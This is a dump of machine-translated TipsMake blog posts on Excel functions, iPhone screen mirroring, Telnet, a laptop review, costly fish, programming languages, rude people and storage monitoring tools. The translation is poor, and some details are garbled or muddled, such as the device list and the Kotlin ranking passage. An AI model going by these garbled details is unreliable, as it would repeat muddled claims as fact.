worksheet, on the Security Warning bar. Since this is your file, you can rest assured with it. However, be very careful when opening macro-enabled files from any other source.\n  Click your macro shortcut. When you want to use a macro, you can quickly run it by pressing the shortcut you created for it.\n  Click the Macros button on the Developer tab. All macros available on your current worksheet will be displayed.\n  Click the macro that you want to run.\n  Press the Run button . The macro will run on the current cell or selected cells.\n  View the code of a macro. If you want to learn more about how macro codes work, you can open the code of any macro you've created and tinker with it:\nClick the Macros button on the Developer tab. Click the macro you want to view. Click the Edit button. View the macro code in the Visual Basic code editor window. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecBmqqKloKGybrnAnKmoZZmjeq61wqumrKeWqXqmxMKeow%3D%3D\n","link":"/post/how-to-write-a-simple-macro-in-microsoft-excel/","section":"post","tags":null,"title":"How to Write a Simple Macro in Microsoft Excel"},{"body":"You are looking for a way to cut strings, concatenate strings in Excel to separate names or concatenate text strings. So please refer to the following article for instructions on how to cut strings, concatenate strings in Excel.\n  Here TipsMake.com guides you how to cut strings, concatenate strings in Excel, invite you to track.\nInstructions for cutting strings in Excel\nExcel supports string-cutting functions that help you cut strings as you like. String trimming functions in Excel:\n- Left function: returns the first or multiple characters in a string, based on the number of characters you specify.\n- Right function: returns the last one or more characters in a string, based on the number of characters you specify.\n- Mid function: returns a specific number of characters from a text string, starting at the position you specify, based on the number of characters you specify.\n1. Left function Syntax: = LEFT (text, [num_chars])\nInside:\n+ text is a required argument, is the text string containing the characters you want to cut the string.\n+ num_chars is an optional argument, this is the number of characters you want the LEFT function to cut the string. Num_chars must be greater than or equal to zero, num_chars is larger than the length of the text, LEFT returns the whole text, num_chars is ignored, it is assumed to be 1.\nFor example: Cut the first 8 characters in the string \"TipsMake.vn\".\n  2. Right Function Syntax: = RIGHT (text, [num_chars])\nInside:\n+ Text is a required argument, is the text string you want to cut characters.\n+ Num_chars is an optional argument, the number of characters you want the Right function to extract.\nNote:\n+ The number of characters must be greater or equal to zero.\n+ If the number of characters is greater than the length of the text, the RIGHT function will return the entire text.\n+ If the number of characters is omitted, it is assumed to be 1.\nFor example, cut the string \"@ gmail.com\" from the string TipsMake.vn@gmail.com.\n  3. Ham Mid Syntax: = MID (text, start_num, num_chars)\nInside:\n+ Text is a required argument, this is the text string containing the characters you want to extract.\n+ Start_num is the required argument, the position of the first character you want to extract in the text (the first character in the default text string is 1).\n+ Num_chars is a required argument, specifying the number of characters you want the MID function to return from the text.\nNote:\n+ If start_num is greater than the text length, the MID function returns empty text.\n+ If start_num is less than 1, the MID function returns the #VALUE! Error value.\n+ If num_chars is negative, the MID function returns the #VALUE! Error value.\n+ If start_num is less than the text length, but the starting number plus the number of characters exceeds the text length, the MID function returns the characters to the end of the text.\nFor example:\n  Instructions for concatenating strings in Excel To concatenate strings in Excel you can do one of the following:\nMethod 1: Use the \u0026amp; operator to concatenate strings The syntax for connecting strings you can use the \u0026amp; operator as follows:\n= Series1 \u0026amp; Series2 \u0026amp; Series3 \u0026amp;….\nStrings1, Strings2, Strings3 . are strings to match, if strings are text or special symbols, the string must be quoted.\nFor example:\n  String1, String2, String3 . can also be the cells containing the text to connect the string, for example, the picture below:\n  Method 2: Use concatenate string concatenation function Concatenate string concatenation syntax:\n= CONCATENATE (text1, text2, text3, .)\nText1, text2, text3, . are the strings you need to join, it can be text or cells containing the text to join.\n- Example text is text.\n  - Example text is a reference cell containing text.\n  Above, TipsMake.com has shared with you the functions to help cut strings, concatenate strings in Excel. Hopefully through this article, you will gain a better understanding of string concatenation and concatenation functions in Excel to apply as needed. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabpanBqrrGZqqtqpmjtLR5wqilnJmkmruiwMinnmarpKe2r7PSZqCnZZWtsKa4\n","link":"/post/instructions-for-cutting-strings-concatenating-strings-in-excel/","section":"post","tags":null,"title":"Instructions for cutting strings, concatenating strings in Excel"},{"body":"What do you think about projecting your iOS device screen on your computer? Although there is no built-in feature, you can easily project your iPhone, iPad screen on your computer.\n\"AirPlay\" is a great tool for transmitting wireless signals. You can use it to play videos, project iPhone / Mac screens to Apple TV or any compatible speaker device. However, you cannot project the iPhone, iPad screen directly to Mac or Windows PC.\nFortunately, there are a lot of software to help you do this: Reflector, LonelyScreen and X-Mirage. These applications are free to try, but to charge up to the premium version you have to pay. In this article we will learn about X-Mirage software.\nHow to project the iPhone, iPad screen on your computer using X-Mirage Step 1. First of all, you need to install the application on your computer.\nDownload X-Mirage and install the software on the computer. After installing, please open it.\n  Note: Your iPhone and computer must be near each other and connected to the same Wi-Fi network.\nStep 2. Swipe the iPhone screen from bottom to top to open the Control Center.\n  Note: With iPhone X, swipe down from the top right corner to access the Control Center.\nStep 3. Touch the Screen Mirroring icon.\n  Step 4. Next, a list of devices will appear on the screen. Select the computer you want to connect.\n  Now, your iPhone / iPad screen will be displayed on your computer.\nTo turn off the slideshow, open the Control Center → touch Screen Mirroring and select Stop Mirroring.\n  iPhone does not display AirPlay? If you do not see the AirPlay icon on your iOS device, check your computer's firewall. In addition, you must keep both devices close together and make sure they are connected to the same Wi-Fi.\nTemporarily turn off the firewall on the computer.\nOn MacOS:\nClick the Apple menu at the top left and select System Preferences. Select Security or Security \u0026amp; Privacy → Firewall. Select Firewall Off. On Windows PC:\nOpen Control Panel and select System and Security. Select Windows Firewall. On the left side of the screen, check the options and turn off Windows Firewall. Note: Once the content has been projected on the computer, turn on the Computer Firewall to ensure security features.\nNote, you can only display the screen of your iOS device on the computer with the device: iPad 2 or above, iPad Air / iPad Mini or newer, iPad Pro; iPhone 4S or more; iPod touch must be 5th or 6th generation; The Mac must be running OS X 10.6 or later and the PC must be running Windows XP or higher.\nSee more:\n8 ways to project your phone screen on a television Instructions for projecting Samsung TV screens to phones How to transfer photos from iPhone to a TV without a cable Connect iPhone to TV Copy photos from iPhone / iPad to computer without iTunes ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnXpqCrmZeaerG%2BzqOcnKxdqbWmecipn6imlWKur7CMoqeanF2osLOxxKeqZqeeYsawwdFmmqiloKrBpr4%3D\n","link":"/post/instructions-for-using-x-mirage-project-the-iphone-and-ipad-screens-on-your-computer/","section":"post","tags":null,"title":"Instructions for using X-Mirage project the iPhone and iPad screens on your computer"},{"body":"Telnet is a command line protocol used to manage various devices such as servers, PCs, routers, switches, cameras, and remote firewalls. Telnet is a protocol that provides simple remote connectivity. Telnet is responsible for sending commands or data to remote network connections. This makes this protocol very popular in IT systems. Telnet often appears after SSH to manage the remote system using the command line.\nWhat is telnet? What is Telnet used for? Telnet's history Structure Telnet features Device Install for Linux Install for Windows Telnet security level Telnet encryption with Telnet / s Telnet alternative Entertainment with Telnet Telnet's history Telnet protocol is created by computer networks. Computer networks make computers available to manage and use remotely. Telnet was created as a remote command line interface management protocol. Telnet was first used in 1969 and designed as a simple TCP / IP protocol.\nStructure Telnet has a popular Client and Server structure. The server side (Server) will provide Telnet service to connect from Telnet applications of the client (Client). Telnet server side usually listens to TCP port 23 to accept Telnet connection. But this port may be changed for security or other reasons. Therefore, the Telnet client needs to specify the Telnet port.\nTelnet features Telnet is a simple protocol that has very few features. Telnet protocol provides the following features for remote system management.\nSimple Display connection information Fast Not secure Device As mentioned before, Telnet is a very popular protocol, which means it is used by a wide variety of devices in a wide range. Below is a list of devices that use Telnet for remote management.\nLinux Router Switch Firewall Router Camera Iodine Windows Raspberry Pi Cisco IOS Install for Linux As previously stated, Telnet's structure includes servers and clients. Telnet servers and clients can be installed on all Linux distributions such as Ubuntu, Debian, Fedora, CentOS, RedHat, Mint, etc.\n$ sudo apt install telnet  Install for Windows Telnet servers and clients can be installed into Windows or client servers in different ways. Telnet clients and servers are preinstalled on Windows. The alternative is to install 3rd party applications such as MoboTerm, etc.\nTelnet security level Telnet's security is the biggest challenge of this protocol. Telnet protocol is not encrypted so it is easy to be targeted for man-in-the-middle attacks. Telnet traffic can be exposed at any time. Telnet also only provides password-based authentication. As previously stated, passwords transmitted over the network can be stolen by attackers. Password-based authentication is less secure than certificate-based or key-based authentication.\nTelnet encryption with Telnet / s By default, the Telnet protocol does not encrypt its traffic. If you want to encrypt traffic, you can use Telnet / s. In fact, some tunnels TLS / SSL will be created and telnet traffic is transmitted through this TLS / SSL tunnel. Therefore, Telnet / s is not widely used.\nTelnet alternative There are various alternatives for Telnet. SSH is a popular and better alternative to Telnet protocol.\nSSH provides better security by encrypting traffic and providing safer authentication. SSH also has many additional features such as desktop X forwarding, port forwarding, etc. RDP is not a remote protocol using the command line, but based on the GUI. RDP needs more network bandwidth but provides a complete desktop experience. VNC is an open source alternative similar to the RDP protocol. VNC provides remote desktops but is slower than RDP in most cases. SNMP is designed for remote management of non-interactive commands. But SNMP is mainly used to monitor remote systems and not completely replace Telnet protocol. Entertainment with Telnet There are several Telnet services on the Internet that provide ASCII-based or asciinema videos. The service runs a short movie via Telnet protocol. You can access this movie from towel.blinkenlights.nl as follows:\n$ telnet towel.blinkenlights.nl    Enjoy it!\n  ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMSlpZ6sXaW%2FsMDOnKal\n","link":"/post/learn-about-telnet-protocol/","section":"post","tags":null,"title":"Learn about Telnet protocol"},{"body":"In the previous section, you got a little familiar with the print preview tool feature in Access. This tool allows you to review the data printed before printing to paper. Therefore, it helps you more useful. You can choose the Print Preview option from the File menu any time you want. For example, if you select Print Preview while you are opening a Datasheet, you will see a table similar to Figure 1 when it is printed.\n  Figure 1: Print Preview mode of a table\nAs with the tools in the previous section, the Print Preview tool lets you look at the data that will be printed before it is sent to the printer.\nncG1vNJzZmismaXArq3KnmWcp51kurR5wJyanqujYn9xfJJmo56ro6S7bn6XZqysnV2ptaZ5z6ugp6xdpb%2Bmwsiermasn6S5\n","link":"/post/ms-access-2003-lesson-28-use-the-print-preview-tool/","section":"post","tags":null,"title":"MS Access 2003 - Lesson 28: Use the Print Preview tool"},{"body":"The latest HP Pavilion x360 offers a powerful processor, comfortable keyboard and a good pair of Bang \u0026amp; Olufsen speakers for $ 749 (VND 17,310,000). This device will be one of the best laptops (or at least one of the best 2-in-1 laptops), without short battery life and a bad screen. Despite this, the Pavilion x360 is still a decent option, in terms of price.\nShould I buy an HP Pavilion x360 laptop? Pricing and configuration options Technical data Design Gate Screen Keyboard and touchpad Sound Efficiency Graphics card Battery life Webcam Heat Software and warranty Conclude Pricing and configuration options The base model of the Pavilion x360 is priced at $ 499 (VND 11,530,000), with a Core i3-8145U processor, 8GB of RAM, a 128GB SSD and a 1366 x 768 screen. Meanwhile, the model is $ 899 (VND 20,776,000). integrated Core i5-8265U CPU, 12GB RAM, 256GB SSD and 1920 x 1080 screen.\nThe Pavilion x360 tested in the article costs $ 749 and is powered by an Intel Core i5-8265U processor, 8GB of RAM, a 128GB SSD and a 1920 x 1080 panel.\nTechnical data CPU Intel Core i5-8265U Processor 8GB RAM Size 12.7 x 8.8 x 0.8 inches (32.3 x 22.4 x 2cm) Weight 3.62 pound (1.6kg) Screen size figure 14 Native resolution 1920x1080 Hard drive capacity 128GB SSD Hard drive type Warranty / Support 1-year Warranty Touchpad size 4.3 x 2.1 inch (11 x 5.3cm) upgradable RAM up to 12GB Intel Brand HD UHD 620 GPU Graphics The highest resolution available 1920 x 1080 Design The exterior of the Pavilion x360 is covered in warm gold paint, accompanied by a reflective HP logo. There is also the Pavilion logo on the hinge of this laptop.\n  Open the Pavilion x360 and you'll see a silver tone around the center keyboard and a hole for the Bang \u0026amp; Olufsen speakers right above it. There is also a fingerprint reader to the right of the touchpad. Thankfully, the bezels on the screen are relatively thin.\n  Weighing 3.6 pounds (1.6kg) and measuring 12.7 x 8.8 x 0.8 inches (32.3 x 22.4 x 2cm), the Pavilion x360 is slightly better than the competition. The Acer Spin 3 weighs 3.6 pounds and measures 13.2 x 9.1 x 0.8 inches, while the Huawei MateBook D weighs 3.4 pounds and 12.7 x 8.7 x 0.6 inch, and Asus ZenBook 13 UX333FA at 2.7 pounds and 11.9 x 7.4 x 0.7 inches.\n  Gate The Pavilion x360 has a fairly large number of ports, including a USB 3.0 port, a headphone jack, a power button and a security lock slot, all on the left side.\n  Meanwhile, the right edge has a power jack, HDMI port, a USB 3.0 port, a USB Type-C port and an SD card slot.\n  Screen The Pavilion x360's 14-inch, 1920 x 1080 display is a bit disappointing. Although the screen is relatively bright, it is glossy and feels a bit uncomfortable to look at.\nAccording to the colorimeter in the test, the Pavilion x360 panel covered 61% of the sRGB color gamut, worse than the laptop average (76%), Spin 3 (69%), MateBook D (73%) and ZenBook 13 (115%).\n  At 261 nits, the Pavilion x360 panel is brighter than the average (253 nits), as well as the Spin 3 (237 nits), MateBook D (230 nits) and ZenBook 13 (225 nits).\nKeyboard and touchpad You will find it very comfortable to type on the keyboard of the Pavilion x360. The keys are not very flexible, but feel smooth, and need to press a strong force.\n  The test speed reached 74 words / minute on the 10FastFingers.com typing test. The keys move at 1.4 mm (still within the preferred range of 1.5 to 2.0 mm) and need a force of about 70 grams to type.\nThe touch screen of the Pavilion x360 is very sensitive when the author sketches a picture of the sunset.\nThe 4.3 x 2.1-inch (11 x 5.3cm) touchpad is not as comfortable as the EliteBook series, but works well. The keyboard has Windows Precision driver, so it handles Windows 10 gestures, such as 3-finger gliding and 2-finger scrolling, quite well.\nSound The Pavilion x360 Bang \u0026amp; Olufsen speakers are amazingly good for a $ 800 laptop like this.\nBenefits from the Bang \u0026amp; Olufsen audio app, including presets for Music, Movie and Voice . In those settings are items to adjust for the bass (bass), treble (treble) and clarity of conversation, as well as the full Equalizer tool.\nEfficiency Equipped with an Intel Core i5-8265U processor and 8GB of RAM, the Pavilion x360 handled 30 Google Chrome tabs and 4 1080p YouTube videos at the same time without any problems.\n  On Geekbench 4.1's overall performance test, the Pavilion x360 scored 12,495 points, which is well above the laptop average (9,482). The Pavilion x360 cannot surpass the Spin 3's Core i5-8250U (13.203) or the ZenBook 13's Core i5-8265U (15,110), but it's faster than the MateBook D.'s AMD Ryzen 5 2500U (8,845).\nThe Pavilion x360 transcoded 4K video to 1080p in 21 minutes and 59 seconds on the HandBrake benchmark test, which seemed long, but a lot faster than the average (31 minutes 19 seconds). However, Spin 3 (21 minutes 09 seconds), MateBook D (21 minutes 30 seconds) and ZenBook 13 (20 minutes 48 seconds) all complete the same task faster.\n  HP's 128GB SSD copied 4.97GB of data in 41 seconds, which is equivalent to a speed of 124 MBps. This is only slightly faster than the laptop average (119MBps). MateBook D's 256GB SSD (110MBps) is slower than HP's 128GB SSD. Spin 3's 256GB SSD (145MBps) is just a little faster, while ZenBook 13's 256GB SSD (424MBps) completely beats the other competitors.\nGraphics card Equipped with Intel UHD 620 GPU, the Pavilion x360 scored 71,938 points in the 3DMark Ice Storm Unlimited graphics benchmark test, surpassing the laptop average (61,258) as well as Intel UHD 620 (61,440) performance of Spin 3 Radeon Vega 8 (63,302). However, the ZenBook 13's Intel UHD 620 (80,655) beats the Pavilion x360.\n  In actual testing, the Pavilion x360 ran the Dirt 3 benchmark at 26 frames per second, almost half the average (43 frames per second), not to mention below the minimum of 30 frames per second for the ability to do so. play ability. Meanwhile, Spin 3 (47 fps), MateBook D (65 fps) and ZenBook 13 (59 fps) all performed above average.\nBattery life Unfortunately, the Pavilion x360 doesn't have great battery life. After continuously surfing the web via WiFi at 150 nits brightness, the battery lasted only 6 hours 17 minutes, which is lower than the laptop average of 6 hours 39 minutes.\nAlthough the Pavilion is close to average, it can't match the Spin 3 (9:12), MateBook D (9:16) and ZenBook 13 (11:28).\nWebcam Although the Pavilion x360's 720p webcam is not as bad as most other options, it still doesn't show all the details. Camera \"catch\" is good red, white and blue, while pink, green or yellow is not.\nHeat The Pavilion x360 works well under pressure. After streaming a 15-minute 1080p video, the hottest underside reached 91ºF (33ºC), within a comfortable threshold of 95ºF (35ºC). The center of the keyboard and touchpad are at 85ºF (29.5ºC) and 80ºF (27ºC), respectively.\nSoftware and warranty There are several HP branded utilities in the Pavilion x360, including HP JumpStart (Windows 10 instructions), HP Support Assistant (HP device driver updates), HP Smart (print status monitoring) and HP PC Hardware Diagnostics (testing and providing system information). There's also HP CoolSense, which can automatically adjust performance and fan settings to balance heat.\n  There are also plenty of Windows 10 bloatware, including Candy Crush Saga, Gardenscapes and Asphalt Street Storm Racing.\nThe Pavilion x360 comes with a 1 year warranty.\nConclude The HP Pavilion x360 ($ 749) is a good laptop, offering commendable performance, a comfortable keyboard and decent quality speakers. But it's hard to accept the short battery life and the screen is a bit bad, especially when paying a relatively high price.\nFor $ 850 (VND 19,643,000), you can own ZenBook 13, with a more premium design, more powerful performance and battery life that allows you to stay online for more than 11 hours.\nBut overall, the Pavilion x360 is a pretty good laptop if you can accept short battery life.\nAdvantages:\nStrong performance Comfortable keyboard Sounds pretty Defect:\nBattery life is below average The screen quality is a bit bad ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqCgYr2iwsiloKimXa2Ad3yMqZyrnp%2BnuqK6wp5kpJ2pl7yivsNmqK6ZnJ7Bug%3D%3D\n","link":"/post/review-hp-pavilion-x360-performance-keyboard-quality/","section":"post","tags":null,"title":"Review HP Pavilion x360: Performance, keyboard 'quality'"},{"body":"Here are the most expensive fish in the world, including outstanding names such as tuna, koi, arowana . A poisonous, strange fish can have very high prices, even up to billions. copper.\nArowana\nThis fish is likened to the king of fishes and is considered a symbol of luck and fortune in the family. Leave a strange and strange arowana, many people are willing to spend tens of millions even a few hundred million.\nThe most expensive arowana in the world is Platinum Arowana, their bodies are white because of a special mutation in body color, like the albino mutation in humans.\nPlatinum arowanas are very rare, there are one in tens of thousands. A Platinum arowana was sold for up to $ 400,000 (nearly 9 billion), equivalent to a super sports car.\nKoi fish\nIn 2018, during a fierce auction at Saki fish farm in Hiroshima, Japan, a collector from Taiwan spent 203 million yen or 42 billion dong to own a long Koi fish. more than 1m is red and white. It is a beautiful Koi fish with clear colors, harmonious body, balanced and very rare.\nYellow-spotted fish (scientific name is Otolithoides biauritus)\n  This fish is known by another name as yellow finfish. This fish is very rare in nature, so the price of a goldfish can reach billions. A giant in Zhe Jiang China spent 8.6 billion dong to own a yellow sardine.\nBluefin tuna\nThe world's most expensive bluefin tuna costs 333.6 million yen (nearly 71.5 billion dong), equivalent to nearly 70kg of gold or 3-bedroom apartment in downtown Manhattan, USA. This fish weighs 278kg, Japanese fishermen caught it off Aomari province. It is called the Japanese Tuna King by Japanese media.\nFresh Polka Dot Polka Dot\nNot only outstanding with many small dots on the body, freshwater rays Polka Dot also has a genetically modified form at the front end, making it U-shaped instead of round. The price of each Polka Dot stingray is up to 100,000USD, equivalent to more than 2 billion VND.\nBlack King Kong shrimp or BKK shrimp\nThis is the most expensive shrimp in the world because they are rare, difficult to breed and require sophisticated farming procedures. Each shrimp is 2.5 - 3cm in length, with prices ranging from 60 - 100 USD (about 1.2 - 2.1 million VND). However, this type of shrimp was sold to a collector in Japan for $ 1,000 per child (nearly VND 20 million) in 2009.\nAustralian Perch fish\n  This rare fish is only found in the waters of Australia, it is very difficult to catch, so they are quite expensive to 5,000 USD. Flat-headed Perch fish has quite eye-catching colors with red stems and orange stripes and orange fins.\nBladefin Basslet fish\n  This fish has a long white salt fin on its back like a horn. This is the most special feature of the Bladefin Basslet fish, the longer the fin, the higher the fish will cost. This fish lives mainly in deepwater coral reefs in the Caribbean and sells for $ 10,000 each.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdmsWxsc2soK%2BdXZu2tLSMoqVmrJiaeri70aWbZqyYmnqptcahnKysXaeypLvRnWSiq12kw6a%2BjHBoZpqZobmqu81mmGaspaOu\n","link":"/post/the-most-expensive-fish-in-the-world-the-highest-record-is-over-71-billion-a-tuna/","section":"post","tags":null,"title":"The most expensive fish in the world, the highest record is over 71 billion a tuna"},{"body":"If you are interested in programming, you certainly are no stranger to popular programming languages, commonly used in the world today such as Python or JavaScript . What about the less popular languages? What about more? Are they too complicated? Can you bring you a job prospects in this potential field?\n  10 professional code sample websites for programmers Codementor, a startup founded with the aim of connecting developers, developers all over the world, as well as the orientation for young people who want to pursue the coder process recently conducted synthesis and release. The list of the worst programming languages ​​that future coder needs to stay away from if they don't want to bury their career and even their 'youth'. This list was created by Codementor based on actual testimonials, obtained from major programming communities around the world, combined with practical analysis and evaluation of growth prospects as well as the situation. job market to give the most fair and accurate results.\n  How to 'survive' with the stress of learning programming Last year, Dart, Objective-C, CoffeeScript, Lua and Erlang were the five \"team\" programming languages ​​in Codementor's list of most unworthy languages. Although there are still mixed opinions, in general, this result has received a great consensus from the coder community.\nThis year Codementor focuses on \"which language a novice should not study.\" For this reason, the three most common, common languages, including JavaScript, Python and Java, have been Remove from the list from the beginning.\nCompany data show that the top languages ​​of the list of \"not bothering\" with newbie this year include Elm, CoffeeScript, Erlang and Perl.\n  Programmers use 12,000 lines of 'molting' completely for Quake 2 game graphics since 1997 A surprising piece of information is that Kotlin, a language that is commonly used to build Android applications, has risen from 18th to 11th on Codementor's list of the worst programming languages. Meanwhile, Microsoft-owned code-storage website GitHub was crowned the fastest-growing language list of 2018 due to the massive expansion and deployment of projects written in Kotlin.\nChinese programmers use GitHub as a 'battlefield' to oppose harsh working conditions Besides, the No. 1 position in the category of 'most improved language' in 2018 has been called Dart - a language that has been cherished and officially deployed by Google in 2013.\nCodementor appreciates Dart's improvement for Flutter, Google's mobile SDK for building iOS and Android applications from a single code base. The Flutter app is written in Dart and it is an important part of Fuschia, a future operating system where Google is putting a lot of ambition.\nDart's rise on Flutter's 'wings' proved the power and influence of Google's decisions on the programming community worldwide.\n  This is the amount of money you can earn when doing one of the 9 hottest jobs in software technology \"The improvements Google has made on Flutter, although it took place a short time before our list was released last year, contributed to the new vitality of drawing on Dart, helping the language. This soared to No. 20 on our Growth and Trends rankings, \"Codementor's report stressed.\nIn fact, the Dart has yet to be appreciated when it comes to Codementor's job market index, but the language interaction score of the language has improved markedly thanks to the deployment efforts. tired of Google in recent times.\nPlease refer to the list of the worst programming languages ​​to avoid in 2019 according to Codementor's ratings and ratings:\n  The 'battlefield code' and job opportunities for you ncG1vNJzZmismaXArq3KnmWcp51kwamxjLCmq6ukYr2zu8armKalmaO0brjAp56umZeawG5xpGtccWhVbY9mkZFeb2ldaHfGsMGMp5yenF2pvG6t1aignWWZm3q6u9Rmm6impGLEorrTZquoZZKqv7p506GcZrGfqsGp\n","link":"/post/the-worst-programming-languages-you-need-to-avoid-if-you-don-t-want-to-bury-the-youth/","section":"post","tags":null,"title":"The worst programming languages ​​you need to avoid if you don't want to 'bury the youth'"},{"body":"In today's complex society, none of us have ever encountered so many types of people, there are very polite people, there are people who act rude and those who are impolite also lack. So how to act depends on the thinking of each person.\nIf there is a way that all rude people can come together to a remote island so that we don't have to deal with them every day, it's good. Responding to rude people is not easy, you need to calmly learn their actions and thoughts to find the most appropriate solution. Here are 10 helpful techniques to help you deal with rude people.\n  1. Remember, sometimes rude people are you Maybe not today, but there have been many times when you have behaved rude. And surely you are not a bad person, are you? So next time someone acts rude to you, remind yourself that they are human like you and those vulgar gestures are merely unintentional, they are not is a bad person.\n2. Do not receive sadness in your body When someone acts rude - especially if they have personal comments about you - it's easy to make you feel frustrated and upset. However, you absolutely can choose the best way to react. See that rudeness is their problem, not yours.\n3. Find out why   Everyone has their own reasons for being rude. Perhaps they had a bad day or they were in a hurry and thought it was not the right time to care about behavior. They didn't even realize how rude they were. So you won't know what the reason is until you ask clearly. Stay calm and just say, \" I think this is a bit too much. Why do you treat me like that? \" The answer may make you feel surprised.\n4. Look objectively and analyze rude actions Who is treating you rude? What did they do or say? Is there anything hidden inside that behavior? If you look at the situation objectively, you will realize that most people who act rude are unintentional, so you can be happy and ignore it. There are a few rare cases, when there is the logic behind rude behavior, objective thinking can help you find the subject of the problem instead of the rude cover to cover it up.\n5. Don't participate in a play   Do you feel like shouting at the rude people around you? Not to do so. When participating in that play only makes the situation worse. Whether you are dealing with the queen, who has a rude intention or a non-cautious child whose rudeness is just unintentional, keep yourself to not act rude.\n6. Throw away and leave Rude often hurts greatly, but avoiding that situation yourself is the fastest and most secure way to avoid other rude behaviors from that person. Leave, even if they're still talking to you. If they are a stranger, you will never see them again. If they are a friend or colleague, they will soon understand that acting rude to you will be fine ( and maybe they will treat you better next time ).\n7. Consider asking for help   Some rude behavior is just a simple case of bad behavior. However, it is common for a person to be rude to you because they feel frustrated about something - and if you are able to deal with their frustration, they will probably turn from rude to grateful only Even so, it is important to warn you that you only offer help when you can do it right away, because an offer to \"help\" later can increase your feelings of frustration.\n8. Understand rudeness as a habit Some people behave rude simply because they are rude. Once rude becomes a habit, it is difficult to get rid of when they want to behave better. Rude has become a habit, it should not be written in the heart, because it is just a difficult habit to give up. And this can bring us to the next time.\n9. Don't try to force them to change   You cannot make a person polite if they want to be rude. The fact that trying to force them to change their behavior will make them behave worse. Sometimes your best option is to accept that their rudeness is not your fault and that they can find a solution for themselves.\n10. Use kindness to deal with rude behavior Don't let rude things make you behave like that. The best way to reduce the harmful effects of such rude behavior is to be friendly and show help, give others the opportunity to calm down and adjust the behavior accordingly.\nRefer to some more articles:\n9 signs that it's time for you to \"jump\" It takes only 5 - 10 minutes to practice every day to improve yourself 13 bad habits need to be removed to work more effectively in 2017 Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZp%2Bimq61edaasKxlpKR6pbHApWSwoaSderPBw55kqZ2fpbmm\n","link":"/post/top-10-great-ways-to-deal-with-rude-people/","section":"post","tags":null,"title":"Top 10 great ways to deal with rude people"},{"body":"Storage management software is a system that manages and protects a storage device, along with all the data contained therein. Storage management systems increase capacity and performance by providing data compression and data migration tools that make infrequent data used in low-cost storage locations.\nThe storage management system also provides historical data on performance and usability to identify, as well as learn from past and present issues. These systems perform virtualization, data security and backup techniques such as mirrors (identical to full backups, except files can only be compressed / encrypted individually and only the latest version of stored files) and replication (remote backup).\nA storage management software that benefits the entire network, from desktop users to server maintainers, by providing optimal efficiency and performance.\nHere are the leading storage management and monitoring tools for 2019 1. Multi-Vendor Storage Performance \u0026amp; Capacity Monitor of Solarwinds 2. ManageEngine OpManager 3. PRTG Storage \u0026amp; SAN Monitoring 4. Nagios 5. SevOne 6. AppDynamics Storage Performance Monitor 7. PowerAdmin Storage Monitor 8. EG Enterprise 1. Multi-Vendor Storage Performance \u0026amp; Capacity Monitor of Solarwinds   This Solarwinds software has a smooth and comprehensive interface, providing real-time storage monitoring capabilities for many providers. It fully handles virtual and physical storage devices. Multi-Vendor Storage Performance \u0026amp; Capacity Monitor also has a number of preconfigured, customizable alert and monitoring options.\nThrough monitoring memory usage, Multi-Vendor Storage Performance \u0026amp; Capacity Monitor, help users get important information about memory usage to avoid problems and forecast content-related issues. amount. Multi-Vendor Storage Performance \u0026amp; Capacity Monitor has also expanded visibility into application layers and virtualized with the Application Stack environment (reflecting the software phases to deploy in different environments).\nThis tool helps users to easily switch between different providers and monitor multiple arrays with a single control panel. It also sends notifications to users and detects performance problems early. Multi-Vendor Storage Performance \u0026amp; Capacity Monitor comes with a 30-day free trial.\nSome key features of Multi-Vendor Storage Performance \u0026amp; Capacity Monitor include:\nMore than 1200 application performance monitoring templates Centralized management Easy and fast installation Built on the Solarion Orion platform Automatically detect applications and infrastructure Store information about system performance and health Download Multi-Vendor Storage Performance \u0026amp; Capacity Monitor (30-day free trial version).\n2. ManageEngine OpManager   ManageEngine OpManager provides a powerful and comprehensive monitoring solution to monitor network performance, detect errors on the network in real time, fix errors and eliminate downtime. ManageEngine OpManager is a powerful tool that supports the IT environment of many vendors and is scalable to suit user requirements.\nManageEngine OpManager allows users to gain visibility and control of the entire network infrastructure, via dashboards and charts that directly measure important data. This tool detects, identifies and fixes network problems with threshold-based alerts.\nUsers can set multiple thresholds for each performance metric and receive notifications. ManageEngine OpManager provides a quick fix based on network monitoring techniques such as creating alerts, reading or forwarding syslog and trap messages, etc.\nThis tool can be set in less than two minutes, with more than 100 integrated reports can be customized, scheduled and exported.\nSome key features of ManageEngine OpManager are:\nAutomating IT workflows Network configuration management Server monitoring and virtualization Create automatic layer 2 topology maps Network traffic analysis ManageEngine OpManager has a 30-day free trial for all three versions: Essential for $ 715 (16,600,000VND) for 25 devices, OpManager Plus costs $ 5,045 (117,000,000VND) for 50 devices and Enterprise costs $ 19,795 ( 459,000,000 VND for 500 devices.\nDownload the trial version of ManageEngine OpManager.\n3. PRTG Storage \u0026amp; SAN Monitoring   PRTG has come a long way to becoming a comprehensive solution of storage monitoring in the IT software sector. PRTG Storage \u0026amp; SAN Monitoring is able to monitor SAN (Storage Area Networks) together with NAS devices, physical drives, virtual drives and cluster drives (a group of sectors in the drive where files are organized).\nThe reliability and availability of data becomes more important than ever in the computing and networking world, so pay attention to the information to reduce worries about not knowing what is going on. happens in the system.\nSome key features of PRTG Storage \u0026amp; SAN Monitoring include:\nMonitor all drive types (including NAS, SAN, physical, logical (virtual), cluster), input / output of drives and virtual disk storage solutions (VMWare, Hyper-V \u0026amp; XenServer) ) Additional access management features for files, folders and sharing Linux / Unix drive monitoring function WMI, SNMP and SOAP to monitor the hard drive Support for many vendors including Dell, NetAPP, EMC, QNAP, Synology, HP, IBM, LenovoEMC, Buffalo, etc. Download PRTG Storage \u0026amp; SAN Monitoring.\n4. Nagios   Nagios provides full monitoring features for storage systems - including folder size, disk usage level, file number, file presence, file size, etc. Nagios detects unsuccessful batch tasks and storage system problems. Nagios has advanced scheduling capabilities for system upgrades\nNagios reduces the risk of unexpected deactivation by early detection of potential, potential future risks. Nagios provides great flexibility and functionality.\nNagios main features include:\nAdvanced planning for system upgrades Detection of failed batch tasks Quickly detect storage system problems Reduce the risk of unexpected deactivation Nagios offers a free trial and paid packages 